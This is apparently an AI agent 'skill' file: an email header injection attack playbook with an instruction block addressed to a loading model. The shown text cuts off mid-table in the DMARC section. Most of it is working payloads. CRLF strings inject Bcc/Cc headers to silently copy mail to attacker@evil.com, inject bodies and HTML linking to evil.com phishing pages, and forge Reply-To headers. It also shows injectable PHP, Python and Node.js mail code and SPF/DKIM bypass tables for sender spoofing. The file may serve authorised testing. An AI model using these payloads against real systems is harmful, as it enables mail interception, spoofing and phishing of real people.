/email-header-injection

name: email-header-injection
description: >-
  Email header injection and spoofing playbook. Use when testing contact forms, email APIs, password reset flows, or any feature that constructs SMTP messages with user-controlled fields. Covers CRLF injection in headers, SPF/DKIM/DMARC bypass, and phishing amplification.

SKILL: Email Header Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.

0. RELATED ROUTING

• [crlf-injection](../crlf-injection/SKILL.md) — general CRLF injection; email headers are a specific high-value sink
• [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) — when SMTP server is reachable via SSRF (gopher://smtp)
• [open-redirect](../open-redirect/SKILL.md) — redirect in password-reset emails as phishing amplification

---

1. SMTP HEADER INJECTION FUNDAMENTALS

SMTP headers are separated by CRLF (`\r\n`). If user input is placed into email headers without sanitization, injecting `%0d%0a` (or `\r\n`) adds arbitrary headers.

Injection anatomy

Normal header construction:
  To: user@example.com\r\n
  Subject: Contact Form\r\n
  From: noreply@target.com\r\n

Injected (via Subject field):
  Subject: Hello%0d%0aBcc: attacker@evil.com\r\n
  
Result:
  Subject: Hello\r\n
  Bcc: attacker@evil.com\r\n

Encoding variants to try

| Encoding | Payload | |---|---| | URL-encoded | `%0d%0a` | | Double URL-encoded | `%250d%250a` | | Unicode | `\u000d\u000a` | | Raw CRLF | `\r\n` (in raw request) | | LF only | `%0a` (some SMTP servers accept LF without CR) | | Null byte + CRLF | `%00%0d%0a` |

---

2. ATTACK SCENARIOS

2.1 BCC Injection — Silent Email Exfiltration

Input field: email / name / subject
Payload: victim@target.com%0d%0aBcc:attacker@evil.com

Effect: attacker receives a copy of every email sent through this form

2.2 CC Injection with Header Stacking

Payload in "From name" field:
  John%0d%0aCc:attacker@evil.com%0d%0aBcc:spy@evil.com

Result headers:
  From: John
  Cc: attacker@evil.com
  Bcc: spy@evil.com
  ... (original headers continue)

2.3 Body Injection — Full Email Content Control

A blank line (`\r\n\r\n`) separates headers from body in SMTP:

Payload in Subject:
  Urgent%0d%0a%0d%0aPlease click: https://evil.com/phish%0d%0a.%0d%0a

Result:
  Subject: Urgent
  
  Please click: https://evil.com/phish
  .
  
(Blank line terminates headers, everything after is body)

2.4 Reply-To Manipulation for Phishing

Payload in From name:
  IT Support%0d%0aReply-To:attacker@evil.com

Victim sees "IT Support" as sender
Replies go to attacker@evil.com

2.5 Content-Type Injection for HTML Phishing

Payload:
  test%0d%0aContent-Type: text/html%0d%0a%0d%0a<h1>Password Reset</h1><a href="https://evil.com">Click here</a>

Overrides Content-Type → renders HTML in email client

---

3. COMMON VULNERABLE PATTERNS

PHP mail()

$to = $_POST['email'];
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: noreply@target.com";

// ALL parameters are injectable:
mail($to, $subject, $message, $headers);

// $to injection:    victim@x.com%0d%0aCc:attacker@evil.com
// $subject injection: Hello%0d%0aBcc:attacker@evil.com
// $headers injection: From: x%0d%0aBcc:attacker@evil.com

Python smtplib

msg = f"From: {user_from}\r\nTo: {user_to}\r\nSubject: {user_subject}\r\n\r\n{body}"
server.sendmail(from_addr, to_addr, msg)
# user_from / user_subject injectable if not sanitized

Node.js nodemailer

let mailOptions = {
    from: req.body.from,      // injectable
    to: 'admin@target.com',
    subject: req.body.subject, // injectable
    text: req.body.message
};
transporter.sendMail(mailOptions);

---

4. SPF / DKIM / DMARC BYPASS TECHNIQUES

4.1 SPF (Sender Policy Framework) Bypass

SPF validates the `MAIL FROM` envelope sender IP against DNS TXT records.

| Technique | How | |---|---| | Subdomain delegation | Target has `include:_spf.google.com`; attacker uses Google Workspace to send as `anything@mail.target.com` | | Include chain abuse | `v=spf1 include:third-party.com` — if third-party allows broad sending | | DNS lookup limit (10) | SPF allows max 10 DNS lookups; chains exceeding this → `permerror` → some receivers accept | | `+all` misconfiguration | `v=spf1 +all` allows any IP (rare but exists) | | `?all` or `~all` | Softfail/neutral → most receivers still deliver to inbox | | No SPF record | Domain without SPF → anyone can send as that domain |

# Check SPF record:
dig TXT target.com +short
# Look for: v=spf1 ...

# Count DNS lookups (each include/a/mx/redirect = 1 lookup):
# >10 lookups = permerror = bypassed

4.2 DKIM (DomainKeys Identified Mail) Bypass

DKIM signs specific headers with a domain key. Bypass vectors:

| Technique | How | |---|---| | `d=` vs `From:` mismatch | DKIM signs with `d=subdomain.target.com` but `From: ceo@target.com` — valid DKIM, spoofed From | | `l=` tag abuse | `l=` limits body length signed; attacker appends content after signed portion | | Replay attack | Capture valid DKIM-signed email, resend with modified unsigned headers | | Missing `h=from` | If `from` header not in signed headers list (`h=`), From can be modified | | Key rotation window | During DKIM key rotation, old selector may still validate |

# Check DKIM selector:
dig TXT selector._domainkey.target.com +short
# Common selectors: google, default, s1, s2, k1, dkim

4.3 DMARC (Domain-based Message Authentication) Bypass

DMARC requires SPF or DKIM to **align** with the `From:` header domain.

| Technique | How | |---|---| | Relaxed alignmen